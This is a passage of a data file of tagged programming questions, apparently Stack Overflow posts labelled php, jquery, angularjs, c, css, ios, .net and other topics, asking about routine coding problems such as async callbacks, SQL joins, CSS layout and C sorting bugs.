550     &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;            101<br/> 3      &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;        30    &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;          5050    &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;         101<br/>    i tried to display day and amount for each car like this by retaining the above query.<br/>     echo  {$n_1[ rental_days ]} ;<br/>     echo  {$n_1[ rental_amount ]} ;<br/>    it displays only the first data keyed in for that car id in rental table. obviously didn t<br/> loop.can anyone suggest how can i loop in the above code,php
jquery not working   edit: it was a jquery version conflict  thanks very much guys  is working flawlessly now!!    i guys      i m trying to hide a div using the jquery framework  i am calling the function like this:   <pre><code>&lt;script type= text/javascript  src= http://code.jquery.com/jquery-1.5.js &gt;&lt;/script&gt;  &lt;script type= text/javascript &gt;  jquery(document).ready(function() {   jquery( #pagex ).hide(); }); &lt;/script&gt; </code></pre>   the pagex div is showing though...     the source code:   <pre><code>&lt;div id= bigslider &gt;            &lt;div id= slider-wrapper &gt;                       &lt;div id= slider  class= nivoslider &gt;   &lt;img src= images/sliderman/iloja1.jpg  alt=   /&gt;   &lt;a href= http://iloja.pt &gt;&lt;img src= images/sliderman/iloja2.gif /&gt;&lt;/a&gt;   &lt;a href= capas-acessa-rios/cat_7.html &gt;&lt;img src= images/sliderman/iloja3.jpg  /&gt;&lt;/a&gt;                &lt;/div&gt;  &lt;/div&gt;    &lt;div id= pagex &gt;   &lt;div class= repassist &gt;reparacao&lt;/div&gt;  &lt;a class= icon1  href= #teste &gt;iphone2g&lt;/a&gt;  &lt;a class= icon2  href= #linkurl &gt;iphone3g&lt;/a&gt;  &lt;a class= icon3  href= #linkurl &gt;iphone3gs&lt;/a&gt;  &lt;a class= icon4  href= #linkurl &gt;iphone4&lt;/a&gt;  &lt;a class= icon5  href= #linkurl &gt;ipadwifi&lt;/a&gt;  &lt;a class= icon6  href= #linkurl &gt;ipad3g&lt;/a&gt;  &lt;a class= icon7  href= #linkurl &gt;ipad2wifi&lt;/a&gt;  &lt;a class= icon8  href= #linkurl &gt;ipad23g&lt;/a&gt;      &lt;/div&gt;       &lt;/div&gt;      &lt;/div&gt; </code></pre>   should be working  but i must warn that i am doing this inside cubecart cms/store  and the template is calling an older javascript.,jquery
how to dynamically change the position of a label according to the string length of another label   i had two labels label1 and label2 and a tableview  when the user click the tableview the content of the tableview is displayed in two labels.means if the tableview cell contain stack  and 1  1 in the text-label.text. i need to display stack in the label1 and 1 in the label2  i have done this .but the problem is when the tableview cell content is big i.e. instead of stack there is stackoverflow it was overlapped with label2 due to big string content for example stack:1 is ok but when the content is stackoverflow it will appears stackoverflow1 or stackove...1 something like that.so my need is label2 must change its position according to the string length of label1.how to do this .i hope u understand my question. thanks in advance.,iphone
how to call controller s event after async treatments on the run part   i look for a user s session in the run process  and i would like to open a modal if i got a specific information from the user.    the thing is i need to send the scope to the modal  so i have to open it from a controller.    the problem is  when angular load controller  the user is not logged yet. i tried to <code>$location.path( / );</code> after the run async process  but it doesn t call the <code>indexctrl</code> twice (because i am already on the view he is binding).    so my question is  how could i  refresh  my controller at the <code>user.getsession() callback</code> or how could i approach the thing differently     <pre><code>angular.module( test ).run(function($rootscope  $window  authenticationmanager  $location) {     authenticationmanager.getsession(function() {         $location.path( / ); //unfortunately useless because it doesn t call the indexctrl twice     }); };  angular.module( test ).controller( indexcrtl   function($scope  $user) {     if ($user.nb_points === 10) //not fired because the user is not logged at the first load         var modal = $modal({scope: $scope  show: false  template:  modal.html }); }; </code></pre>,angularjs
c programming: virtual computer  i am writing a c program for a virtual computer. the problem i am having right now is that when i try to compile  i get an error that says  undefined reference to  pow  i m not sure how to change it correctly.   <pre><code>void memassign(signed int *mem  char line[size] signed int *mempos){     signed int *count= &amp;mem[73];     signed int *length= &amp;mem[74];     *length = strlen(line)-1;     *count=1;     if(todigit(line[*length-1])&lt;0 || todigit(line[*length-1])&gt;9){         printf( wrong command form.\n );         return;     }     while(line[*length - *count] !=    ){         mem[*mempos] += (todigit(line[*length - *count]) * (int)pow(10  *count - 1));         *count += 1;     }     count = null;     length = null; } </code></pre>,c
c# excellibary get a word  i just wanna know how i can get a word in line a1 cell a1.    is there a way to get it without having excel installed  just using excellibary     thanks for helping! :),c#
alternatives to adding dynamically generated inline javascript  generating inline javascript in html has always made me feel dirty and after having used <a href= http://en.wikipedia.org/wiki/yahoo!_ui_library  rel= nofollow noreferrer >yui</a> a bit i get the sense that it s best to leverage html elements as an alternative. would it be insane to use a hidden &lt;ul&gt; to store keys and values to be used by static javascript which would only act when it found the &lt;ul&gt; rather than using inline javascript     what practices are common out there and what practices have the most merit with regards to avoiding inline javascript,javascript
how can i discover the amount of free memory in ios   how can i discover the amount of free memory in ios,ios
how to make textbox fill available space in a flexible table   how do i make a table that flexes between a min and max width  whilst 2 columns always stay the same width and a textbox in the third fills the available space.    it is almost working here. but the width on the fixed columns is being ignored when the table is small.   <pre><code>&lt;table&gt;     &lt;thead&gt;         &lt;tr&gt;             &lt;td class= col1 &gt;                 column 1             &lt;/td&gt;             &lt;td class= col2 &gt;                 column 2             &lt;/td&gt;             &lt;td class= col3 &gt;                 column 3             &lt;/td&gt;                 &lt;/tr&gt;     &lt;/thead&gt;     &lt;tbody&gt;              &lt;tr&gt;             &lt;td class= col1 &gt;                 &lt;input type= text  /&gt;             &lt;/td&gt;             &lt;td class= col2 &gt;                fixed content             &lt;/td&gt;             &lt;td class= col3 &gt;                fixed content             &lt;/td&gt;           &lt;/tr&gt;     &lt;/tbody&gt; &lt;/table&gt;   .col1 {     max-width: 25em;     min-width: 20em; }  .col2  .col3 {     width: 10em; }  input {     width: 100% } </code></pre>   <a href= http://jsfiddle.net/c4hty/1/  rel= nofollow >fiddle</a>,css
array keyword before function parameters in php  i saw a function declared like this:   <pre><code>public static function factory($file=null  array $data=null  $auto_encode=null) </code></pre>   if you want to see the real class  please go to this <code>view.php</code> class from <a href= https://github.com/evantishuk/parser/blob/develop/classes/view.php  rel= nofollow >a fork of fuelphp parser package</a> in github.    my question is  what does <code>array</code> keyword means in <code>array $data = null</code>,php
dynamic first view controller in ios  i am having a little chicken/egg problem in understanding how the first view controller is chosen  and how it can change dynamically.    in a typical login based application (e.g. facebook) you have a first view controller that s the login. once you ve logged in  another view is first the next time you enter the application.    i can t see one place (in main.m ) or the app delegate where you can choose the first view and apply some logic to choosing it. what i have seen  is how a first view is used anyway  and within that view some logic is done whether or not to invoke the login window. is that the only practice to get this done  i don t want my main view flashing for a moment before it spawns a login view in case the user needs to login. can t i just go directly to the login view if needed  or to the  logged in  view first  if the user is already logged in,ios
communicate between iphone and windows pc   i want to write an app to communicate between the iphone and a windows pc. where can i find more information on that particular communication,iphone
angularjs-- declenching events  please  how can i change this code into angularjs   <pre><code>$( a.product_add ).on( click   function(event){     event.preventdefault();     var collectionholder = $( #task_tags );     var prototype = collectionholder.attr( data-prototype );     form = prototype.replace(/__name__/g  collectionholder.children().length);     collectionholder.append(form); }); </code></pre>,angularjs
while closing imageinputstream thorws ioexception  from many code snippets  it looks like it s necessary to close the imageinputstream.    and under the spring framework  the method here:   <pre><code>public byte[] downloadimage(string imageurl) throws exception {      urlresource imageresource = new urlresource(imageurl);      if (!imageresource.exists()) {          log.warn( try to download {}. and resource not exists. );          throw new exception( the image resource not exists. );      }      try (inputstream rawimageinputstream = imageresource.getinputstream();          fastbytearrayoutputstream imagebytesstream = new fastbytearrayoutputstream()) {          imageinputstream imageinputstream             = imageio.createimageinputstream(rawimageinputstream);          iterator&lt;imagereader&gt; imagereaders = imageio.getimagereaders(imageinputstream);          imagereader imagereader = imagereaders.next();          string fileextension = imagereader.getformatname();          bufferedimage image = imageio.read(imageinputstream);          imageio.write(image  fileextension  imagebytesstream);          imagebytesstream.flush();          // throw exception         imageinputstream.close();           return imagebytesstream.tobytearray();      }  } </code></pre>   however  this code snippet will cause throw ioexception.    i m wondering what s the reason     <pre><code>java.io.ioexception: closed  at javax.imageio.stream.imageinputstreamimpl.checkclosed(imageinputstreamimpl.java:110) at javax.imageio.stream.imageinputstreamimpl.close(imageinputstreamimpl.java:857) at javax.imageio.stream.filecacheimageinputstream.close(filecacheimageinputstream.java:250) at tw.com.urad.service.web.downloadimageserviceimpl.downloadimage(downloadimageserviceimpl.java:56) at tw.com.urad.service.web.downloadimageserviceimplintegrationtest.testdownloadimagesuccess(downloadimageserviceimplintegrationtest.java:35) at sun.reflect.nativemethodaccessorimpl.invoke0(native method) at sun.reflect.nativemethodaccessorimpl.invoke(nativemethodaccessorimpl.java:62) at sun.reflect.delegatingmethodaccessorimpl.invoke(delegatingmethodaccessorimpl.java:43) at java.lang.reflect.method.invoke(method.java:498) at org.junit.runners.model.frameworkmethod$1.runreflectivecall(frameworkmethod.java:50) at org.junit.internal.runners.model.reflectivecallable.run(reflectivecallable.java:12) at org.junit.runners.model.frameworkmethod.invokeexplosively(frameworkmethod.java:47) at org.junit.internal.runners.statements.invokemethod.evaluate(invokemethod.java:17) at org.springframework.test.context.junit4.statements.runbeforetestmethodcallbacks.evaluate(runbeforetestmethodcallbacks.java:75) at org.springframework.test.context.junit4.statements.runaftertestmethodcallbacks.evaluate(runaftertestmethodcallbacks.java:86) at org.springframework.test.context.junit4.statements.springrepeat.evaluate(springrepeat.java:84) at org.junit.runners.parentrunner.runleaf(parentrunner.java:325) at org.springframework.test.context.junit4.springjunit4classrunner.runchild(springjunit4classrunner.java:254) at org.springframework.test.context.junit4.springjunit4classrunner.runchild(springjunit4classrunner.java:89) at org.junit.runners.parentrunner$3.run(parentrunner.java:290) at org.junit.runners.parentrunner$1.schedule(parentrunner.java:71) at org.junit.runners.parentrunner.runchildren(parentrunner.java:288) at org.junit.runners.parentrunner.access$000(parentrunner.java:58) at org.junit.runners.parentrunner$2.evaluate(parentrunner.java:268) at org.springframework.test.context.junit4.statements.runbeforetestclasscallbacks.evaluate(runbeforetestclasscallbacks.java:61) at org.springframework.test.context.junit4.statements.runaftertestclasscallbacks.evaluate(runaftertestclasscallbacks.java:70) at org.junit.runners.parentrunner.run(parentrunner.java:363) at org.springframework.test.context.junit4.springjunit4classrunner.run(springjunit4classrunner.java:193) at org.junit.runners.suite.runchild(suite.java:128) at org.junit.runners.suite.runchild(suite.java:27) at org.junit.runners.parentrunner$3.run(parentrunner.java:290) at org.junit.runners.parentrunner$1.schedule(parentrunner.java:71) at org.junit.runners.parentrunner.runchildren(parentrunner.java:288) at org.junit.runners.parentrunner.access$000(parentrunner.java:58) at org.junit.runners.parentrunner$2.evaluate(parentrunner.java:268) at org.junit.runners.parentrunner.run(parentrunner.java:363) at org.junit.runner.junitcore.run(junitcore.java:137) at com.intellij.junit4.junit4ideatestrunner.startrunnerwithargs(junit4ideatestrunner.java:68) at com.intellij.rt.execution.junit.ideatestrunner$repeater.startrunnerwithargs(ideatestrunner.java:51) at com.intellij.rt.execution.junit.junitstarter.preparestreamsandstart(junitstarter.java:237) at com.intellij.rt.execution.junit.junitstarter.main(junitstarter.java:70) at sun.reflect.nativemethodaccessorimpl.invoke0(native method) at sun.reflect.nativemethodaccessorimpl.invoke(nativemethodaccessorimpl.java:62) at sun.reflect.delegatingmethodaccessorimpl.invoke(delegatingmethodaccessorimpl.java:43) at java.lang.reflect.method.invoke(method.java:498) at com.intellij.rt.execution.application.appmain.main(appmain.java:147) </code></pre>   thanks,java
cascading select in angularjs  i need too show a dropdown box onto the selection of option in another dropdown box. for eg. if i select  usa  in one of the dropdown box then the other dropdown box should show cities related to usa like newyork  san diego etc. how can i achieve this is angularjs,angularjs
matching the .net framework versions in 2 servers  we have a performance server  where i looked into registry under microsoft -> net framework setup i can see the v4 full as below. (version 4.5.50709)    <a href= https://i.stack.imgur.com/phbvo.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/phbvo.png  alt= enter image description here ></a>    in our development server the .net version is as below (4.6.01055)    <a href= https://i.stack.imgur.com/ujldh.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ujldh.png  alt= enter image description here ></a>    i would like to match the .net version in dev server with our performance server  that is to install 4.5.50709 in our dev server.    i have uninstalled .net 4.6 framework from dev server  but it still shows the above version (screenshot 2).    could you help me resolve this issue please     regards babu,.net
javascript async issue  sorry if this has been asked before but i couldn t find another question which answered mine. i m trying to set a variable from a function which gets data from an ajax call. however the function continues to run before i ve got the data. how can i avoid this  if you run the functions below you can see that the data is coming out but not before the console.log for rdid value is being run. i need to set the rdid value. i also would appreciate some resources to learn this better.   <pre><code>var rdid = getdata( https://domain.com datarequest   rdproviderlookup);  function getdata(url  callback  optional) {     var arglength = arguments.length;     var xhr = new xmlhttprequest();     xhr.open( get   url);     xhr.send(null);     xhr.onreadystatechange = function () {     var done = 4;      var ok = 200;      if (xhr.readystate === done) {         if (xhr.status === ok) {             if (arglength == 3) {                     callback(xhr.responsetext  optional);                 } else {                     callback(xhr.responsetext);                     }             } else {                 console.log( error   + xhr.status);                 callback( error );             }     }     }; } function rdproviderlookup(rddata) {     var rddata = json.parse(rddata);     var a = json.stringify(rddata.physicalstorelist[0].physicalstoreidentifier.uniqueid);     console.log( a=   + a);     return a; } console.log( rdid   + rdid); </code></pre>,javascript
$.ajax error function is not working  i m working on some existing code. i have the following code:   <pre><code>$.ajax({         type:  get           url: url           datatype:  jsonp           cache:  false           jsonpcallback:  onjsonpload           success: function(json){                alert( hi! );                //perform operation         }          error: function() {           alert( error occurs! );        } }); </code></pre>   now when i m passing valid <code>url</code> it works fine. but when i m passing invalid <code>url</code> it should through an error alert. but the script is not throwing any error alert. basically i want validate the <code>url</code> parameter or it is failing   please help me to find-out the error in my code or suggest me else way to achieve. i have checked the following links but not able to solve my problem:<br/>    <a href= https://stackoverflow.com/questions/377644/jquery-ajax-error-handling-show-custom-exception-messages >jquery ajax error handling  show custom exception messages</a> <br/> <a href= https://stackoverflow.com/questions/6792878/jquery-ajax-error-function >jquery ajax error function</a>  <a href= https://stackoverflow.com/questions/8918248/ajax-success-and-error-function-failure/17549074#17549074 >ajax success and error function failure</a>    <strong>update:</strong> i have added below code to log the jquery console log.   <pre><code>  @override             public boolean onconsolemessage(consolemessage cm) {                 log.d( web chrome client   cm.message() +   -- from line                   + cm.linenumber() +   of                   + cm.sourceid() );                 return true;             } </code></pre>   identified the following error: <code>xmlhttprequest cannot load file:///android_asset/xxxx/new_source.json callback=onjsonpload. origin null is not allowed by access-control-allow-origin. -- from line 1 of null</code> <br/>    adding the following code  app is running successfully.   <pre><code>if (build.version.sdk_int &gt;= version_codes.jelly_bean) {   webview.getsettings().setallowuniversalaccessfromfileurls(true); } </code></pre>   so  basically this is happening  as the url is not accessible by the jquery.<br/>  thanks every body for helping me.,jquery
comparing elements <pre><code>for (index=1; index&lt;=15; index++) {     if (undefined != sku[index]) {          found = jquery.inarray(sku[index]  mr_sku);          if( found == -1){ //not in array             alert( sku[index] +   not found - delete index   + index );         } else { // in array                   alert( found );         }    } </code></pre>   }     two arrays - sku and mr_sku = trying to find the values from 1 to 15 where not undefined that the values are in both arrays. sku[1] and mr_sku i know are the same value - just never shows as bieng in the array - inarray always comes back as -1,jquery
how to disable value when its chosen once by the user   i want to disable a value option once a user chooses it.    for example if the user chooses (7:00 am) then next time they go  and click on the drop-down again the value won t be available for them to choose. what would be the best way to do this    <pre><code>&lt;td&gt; time it will display (please enter time format hh:mm tt):              &lt;td&gt;         &lt;select id= time_used  name= time_used   validate= date  &gt;             &lt;option selected&gt; select time&lt;/option&gt;             &lt;option value= 7:00 am &gt;7:00 am&lt;/option&gt;                &lt;option value= 7:15 am &gt;7:15 am&lt;/option&gt;              &lt;option value= 7:30 am &gt;7:30 am&lt;/option&gt;                &lt;option value= 7:45 am &gt;7:45 am&lt;/option&gt;             &lt;option value= 8:00 am &gt;8:00 am&lt;/option&gt;             &lt;option value= 8:15 am &gt;8:15 am&lt;/option&gt;              &lt;option value= 8:30 am &gt;8:30 am&lt;/option&gt;                &lt;option value= 8:45 am &gt;8:45 am&lt;/option&gt;             &lt;option value= 9:00 am &gt;9:00 am&lt;/option&gt;              &lt;option value= 9:15 am &gt;9:15 am&lt;/option&gt;              &lt;option value= 9:30 am &gt;9:30 am&lt;/option&gt;                &lt;option value= 9:45 am &gt;9:45 am&lt;/option&gt;                                 &lt;option value= 10:00 am &gt;10:00 am&lt;/option&gt;         &lt;/select&gt;     &lt;/td&gt; &lt;/td&gt; </code></pre>,javascript
read email and phone number from facebook profile  i try to read email address  phone number from facebook profile details to my iphone application. but  from my facebook profile  i got name details  location details like that. but i can t get email and phone numbers.     in my program  first i get authentication using oauth. i get all authentication. using following code.   <blockquote>    [fbgraph authenticateuserwithcallbackobject:self andselector:@selector(fbgraphcallback:) andextendedpermissions:@ ads_management xmpp_login read_stream read_requests read_mailbox read_insights read_friendlists email user_work_history user_website user_videos user_status user_religion_politics user_relationships user_photo_video_tags user_online_presence user_notes user_location user_likes user_interests user_hometown user_groups user_events user_education_history user_activities user_about_me user_birthday user_photos user_videos publish_stream offline_access user_checkins friends_checkins ];  </blockquote>   but i can t read phone number and email address.     i use the following code to read profile:   <pre><code>fb_graph_response = [fbgraph dographget:@ me  withgetvars:nil]; </code></pre>   it depends on the following url: <a href= http://developers.facebook.com/docs/api  rel= nofollow noreferrer >http://developers.facebook.com/docs/api</a>.    my profile output is:   <blockquote>    { id : 1335802454   name : vel murugan   first_name : vel   last_name : murugan   link : http://www.facebook.com/profile.php id=1335802454   about : be the best or be with the best   birthday : 05/12/1984   hometown :{ id :106076206097781  name : madurai  india }  location :{ id :106076206097781  name : madurai  india }  bio : hi   quotes : what is ur name    work :[{ employer :{ id :114941651860886  name : yes }  location :{ id :106076206097781  name : madurai  india }  position :{ id :106134736085305  name : software developer }  start_date : 2010-08   end_date : 0000-00   description : iphone apps developer }]  education :[{ school :{ id :110943172274244  name : mca }  year :{ id :133774113322262  name : 2010 }} { school :{ id :108627612500830  name : bharathidasan university }  concentration :[{ id :121317831214170  name : mca } { id :137092149656664  name : bsc maths } { id :151356271549645  name : +2 }]}]  gender : male   relationship_status : single   religion : no   political : no   email : apps+123145257717248.1335802454.e466b769c10a7745bcb11201de2aae7d@proxymail.facebook.com   website : http://www.kailasanadhiswarar.org/   timezone :5.5  locale : en_us   verified :true  updated_time : 2010-08-30t18:28:54+0000 }  </blockquote>,iphone
extract used css including javascript  what is the best way to extract only the css used including those used by javascript.    i tried <a href= https://addons.mozilla.org/en-us/firefox/addon/css-usage/  rel= nofollow noreferrer >css usage</a> seems to have stopped working with the current versions of firefox    <a href= https://addons.mozilla.org/en-us/firefox/addon/dust-me-selectors/  rel= nofollow noreferrer >dust-me</a> works but it classifies css used by javascript as unused css.,css
adding object to an array dynamically  in angularjs  i can do the following to formulate the user array:   <pre><code>userarray = [{                 name:  myname                   password:  password              }]; </code></pre>   how to add the userarray in a loop dynamically so that by adding another one  the json will be:   <pre><code>userarray = [{                 name:  myname                   password:  password              }              {                 name:  othername                   password:  otherpassword              }             ]; </code></pre>   i used angular.foreach for a loop:   <pre><code>var someobject = {}; var userarray = []; var i = 0; angular.foreach(selectedones  function(user) {      userarray = [{                      name: user.name                       password: user.password                   }];                  if(i == 0)                 {                     someobject.somearray= userarray;                     }                 else                 {                     someobject.somearray+= userarray;                        }                 i++;              } </code></pre>   the above code is returning <code>[object object][object object]</code> for <code>i=2</code>. similarly  it returns <code>[object object][object object][object object]</code> for <code>i=3</code> and so on..so is not adding correctly.,angularjs
what is better  many small assemblies  or one big assembly   all is in the title :)    currently  we have a vs2005 solution with 20+ projets. like   <pre><code>mysolution mysolution.modules.foo mysolution.modules.bar [insert many here] mysolution.modules.baz </code></pre>   can there be a harm to  merge  mysolution.modules.* in one project   all namespaces will be preserved  so no problem here.    but is there anything i didn t think about      note : currently  there can t be circular references : if mysolution.modules.foo references mysolution.modules.bar  mysolution.modules.bar can t reference mysolution.modules.foo. so we ll have to be careful not to create some.,.net
how to get 2 values from 1 column  i have 2 tables  i want to get the values from a column in table 1 and show it in 2 different columns in result table. here are the tables.   <pre><code>table1  id name email </code></pre>  <hr>  <pre><code>1 | james | aaaa@a.com  2 | john |   bbbb@b.com  3 | jack |   cccc@c.com </code></pre>  <hr>   table2:   <pre><code>id name    xid yid </code></pre>  <hr>  <pre><code>1 | opqr  |  1  | 2  2 | pqrs  |  2 |  3  3 | qrst  |  3 |  1  4 | rstu  |  2  | 1 </code></pre>   now i want to get a result like this   <pre><code> name    xname   yname </code></pre>  <hr>  <pre><code>opqr  |  james  |  john     pqrs  |  john  |  jack     qrst  |  jack  |  james     rstu  |  john  |  james     </code></pre>   there are 2 conditions  table1.id=table2.xid for xname and table1.id=table2.yid for yname. how do i get the result     i tried   <pre><code>select table2.name  table1.name as xname  table1.name as yname  from table1 inner join table2  on table1.id=table2.xid and table1.id=table2.yid </code></pre>   but it gave 0 row. i m still learning sql  and have trouble to understand the join chapter. i m not sure what keyword to search  so if this kind of question already had an answer somewhere  please give the link. thank you.,mysql
string  int differentiation and looping in python  how to complete my program which repeatedly reads numbers until the user enters “done”. once “done” is entered  print out the total  count  and average of the numbers. if the user enters anything other than a number  detect their mistake using try and except and print an error message and skip to the next number.   <pre><code>count = 0 total = 0  while true:   x = raw_input( enter number )   x=int(x)   total = total + x   count = count + 1   average = total / count   print total  count  average </code></pre>,python
c++ header to source   i m programming in c++ cli with vs.net c++ 2008. i m seeking a tool that can create my c++ source definitions (*.cpp) from the header files. does such a tool exist  please advise  thanks.,c++
css height for content area  i m trying to compose the layout shown at the picture. i want the layout cover the whole browser area.    my issue is that can not get the content be fixed to the footer. even in case the browser resizes  the content div auto-adjust dynamically.    <a href= https://i.stack.imgur.com/7boiz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/7boiz.png  alt= enter image description here ></a>    the class in the content div has its height to <code>100vh</code>  but it exceeds and the window scroller comes up.    then i use <code>calc(100vh-100px)</code> where <code>100px</code> is the sum(headerheight + footerheight)  but no success.    is there anyway to accomplish this without jquery     edit:    html:   <pre><code>&lt;div ng-app= app  layout= column  layout-fill ng-cloak&gt; &lt;header&gt;     &lt;div class= main_header  ng-controller= headerctrl as ctrl &gt;         &lt;img src= /img/logo.png  width= 300  height= 60  alt= logo  /&gt;         &lt;div style= min-width:200px;width:60%  ng-controller= autocompletectrl &gt;             &lt;md-autocomplete  class= search_box                                md-selected-item= selecteditem                                md-search-text= searchtext                                md-items= item in querysearch(searchtext)                                md-search-text-change= querysearch(searchtext)                                md-item-text= item.value                                md-min-length= 2                                md-autofocus= true                                md-no-cache= false                                placeholder= search....  my-enter&gt;                 &lt;md-item-template&gt;                     &lt;span&gt;{{item.value}}&lt;/span&gt;                 &lt;/md-item-template&gt;                 &lt;md-not-found&gt;                     no matches found.                 &lt;/md-not-found&gt;             &lt;/md-autocomplete&gt;         &lt;/div&gt;         &lt;div class= main_header_buttons_container &gt;             &lt;md-button class= md-raised md-primary  ng-click= showloginpopup($event)  ng-show= !issessionactive &gt;log in&lt;/md-button&gt;             &lt;md-button class= md-raised md-primary  ng-click= showregisterpopup($event)  ng-show= !issessionactive &gt;register&lt;/md-button&gt;             &lt;md-button class= md-raised md-primary  ng-click= closesession($event)    ng-show= issessionactive &gt;close session&lt;/md-button&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/header&gt; &lt;div class= main_body  layout= row &gt;     &lt;div ng-controller= sidebarctrl &gt;         &lt;md-sidenav class= md-sidenav-left  md-component-id= left  md-is-locked-open= true &gt;             &lt;div layout= column  layout-align= start end  style= margin-top:50px &gt;                 &lt;md-icon md-svg-src= /img/magnifying-glass-browser.svg  class= icon_search &lt; php echo $sidebar_option== 1   icon_search_selected :  ;  &gt;  ng-click= &lt; php echo $sidebar_option== 1    : change_menu(1) ;  &gt; &gt;&lt;/md-icon&gt;                 &lt;md-icon md-svg-src= /img/favorites_icon.svg  class= icon_favorites &lt; php echo $sidebar_option== 2   icon_search_selected :  ;  &gt;  ng-click= &lt; php echo $sidebar_option== 2    : change_menu(2) ;  &gt; &gt;&lt;/md-icon&gt;                 &lt;md-icon md-svg-src= /img/historical_icon.svg  class= icon_favorites &lt; php echo $sidebar_option== 3   icon_search_selected :  ;  &gt;  ng-click= &lt; php echo $sidebar_option== 3    : change_menu(3) ;  &gt; &gt;&lt;/md-icon&gt;                 &lt;md-icon md-svg-src= /img/collections_icon.svg  class= icon_favorites &lt; php echo $sidebar_option== 4   icon_search_selected :  ;  &gt;  ng-click= &lt; php echo $sidebar_option== 4    : change_menu(4) ;  &gt; &gt;&lt;/md-icon&gt;             &lt;/div&gt;         &lt;/md-sidenav&gt;     &lt;/div&gt;     &lt;md-content flex layout-padding class= remove-padding-around &gt;         &lt;div class= collections_content_area  layout= column  layout-fill layout-align= top left &gt;               the content (blue area)         &lt;/div&gt;     &lt;/md-content&gt; &lt;/div&gt; &lt;footer&gt;     &lt;div layout= row  layout-align= center center &gt;         &lt;h4&gt;my awesome footer&lt;/h4&gt;     &lt;/div&gt; &lt;/footer&gt; </code></pre>       css:   <pre><code>.main_header {     width: 100%;     height: 60px;     display: flex;     flex-direction: row;     justify-content: space-between;     align-items: center;     background-color: #f2f2f2; } .main_header_buttons_container {     width: 20%;     min-width: 250px;     text-align: center; } .main_body {     background-color: #ccc; } .collections_content_area {     height:98vh;     background-color: #ebeef0;     min-height:450px; } </code></pre>,css
runtime check failure #2 - stack around the variable  tab  was corrupted  i m training in c language and i m doing an program that create a simple array and sort him. here s the code :    <strong>main.c :</strong>   <pre><code>#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt;  int main(int argc  int *argv[]) {     int tab[5]={2 5 3 9 4}  i=0  longueur=0;      /*for(i=0; i&lt;5; i++)     {         tab[i] = i;     }*/      longueur = sizeof(tab)/sizeof(tab[0]);     triertab(tab longueur);     affichertab(tab longueur);     return 0; </code></pre>   <strong>tableaux.c :</strong>   <pre><code>#include  tableaux.h   //sort the array void triertab(int tab[] int longueur) {     int i=0  j=0 max=0 indicemax=0 temp=0;      for(i=longueur-1; i&gt;=1;i--)     {         for(j=0;j&lt;=i;j++)         {             if(tab[j]&gt;max)             {                 max = tab[j];                 indicemax = j;             }         }          temp=tab[j];         tab[j]=max;         tab[indicemax]=temp;     } }    //print the array void affichertab(int tab[]  int longueur) {     int i=0;      for(i=0;i&lt;longueur;i++)     {         printf( | %d |  tab[i]);     } } </code></pre>   i guess that there is an out of bound error  but i can t figure out where she is :s can someone help me please   ^^,c
how to set only zip and rar in my form <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/181214/file-input-accept-attribute-is-it-useful >file input &#39;accept&#39; attribute - is it useful </a>    </blockquote>     if i click upload button it will  show only zip file and rar file in  form  this is showing all files.   <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt; &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;title&gt;untitled document&lt;/title&gt; &lt;/head&gt;  &lt;form action=      method= post  enctype= multipart/form-data  name= forms  id= file_upload &gt;   &lt;input type= file  name= file  id= file  accept= application/zip application/rar  multiple=   &gt;   &lt;button type= submit &gt;upload&lt;/button&gt;   &lt;div class= file_upload_label  id= pointer &gt;click here to as zips/rars&lt;/div&gt;   &lt;/form&gt;  &lt;body&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
where can one find microsoft host integration assemblies   for example  msdn references the microsoft.hostintegration.sna.session.dll assembly <a href= https://msdn.microsoft.com/en-us/library/microsoft.hostintegration.sna.session.sessionlu0.aspx  rel= nofollow noreferrer >here</a>.   <ul> <li> doesn t appear to be in gac or found through the simple  add reference  menus </li> <li> is not included in the <a href= https://www.microsoft.com/en-us/download/details.aspx id=41557  rel= nofollow noreferrer >host integration server sdk</a> even though the samples it contains reference it. </li> <li> i couldn t find it on an actual host integration server (maybe i didn t know where to look) </li> <li>i couldn t find it searching nuget</li> <li>last resort  i couldn t find it via google search</li> </ul>,.net
fire .change() when deselect a selected radiobutton  i wrote a function to deselect a selected radio button and a function to fire when change event made to the radio button list. this two function works. but when i deselect a selected radio button  the  .change(function(){...})  doesn t fire.    please help.,jquery
how to draw lines in ios platform  i am using apps like bamboo book and paper  in ipad  the experience is really good  how is it work  which technology does it used when draw lines or curves on screen,ios
conditionally require fields within a directive  i have a list of credit cards which the user can choose to edit. the credit card form is bound to the list and the form is shown if they select edit on a given card. the credit card form is a custom directive. the user can also add a new card. the usual fields are required if the credit card form is visible  but should not be required/validated if it s not visible. visibility is managed with ng-show.     here is the simplified version of the directive usage. the directive itself is as simple as you d expect.   <pre><code>&lt;div data-ng-repeat= profile in paymentprofiles  data-ng-show= profile.paymentprofileguid == selectedpaymentprofile &amp;&amp; options.enablecreditcardedit &gt;     &lt;creditcard-widget title= enter your card information             card= profile  isrequired= profile.paymentprofileguid == selectedpaymentprofile &amp;&amp; options.enablecreditcardedit &gt;&lt;/creditcard-widget&gt; &lt;/div&gt; </code></pre>   i ve tried binding the isrequired in two-way  one-way  and text. it only works as text and only if i pass a value instead of an expression. how can i pass a flag to a directive that is at least one-way data bound     <strong>edit</strong> i ve tried passing the param with  @    &amp;   and  = . i m trying to reduce things enough to post a jsfiddle or plukr link. here is the directive js:   <pre><code>.directive( creditcardwidget   function () {     return {         controller:  creditcardwidgetcontroller           restrict:  e  a           templateurl:  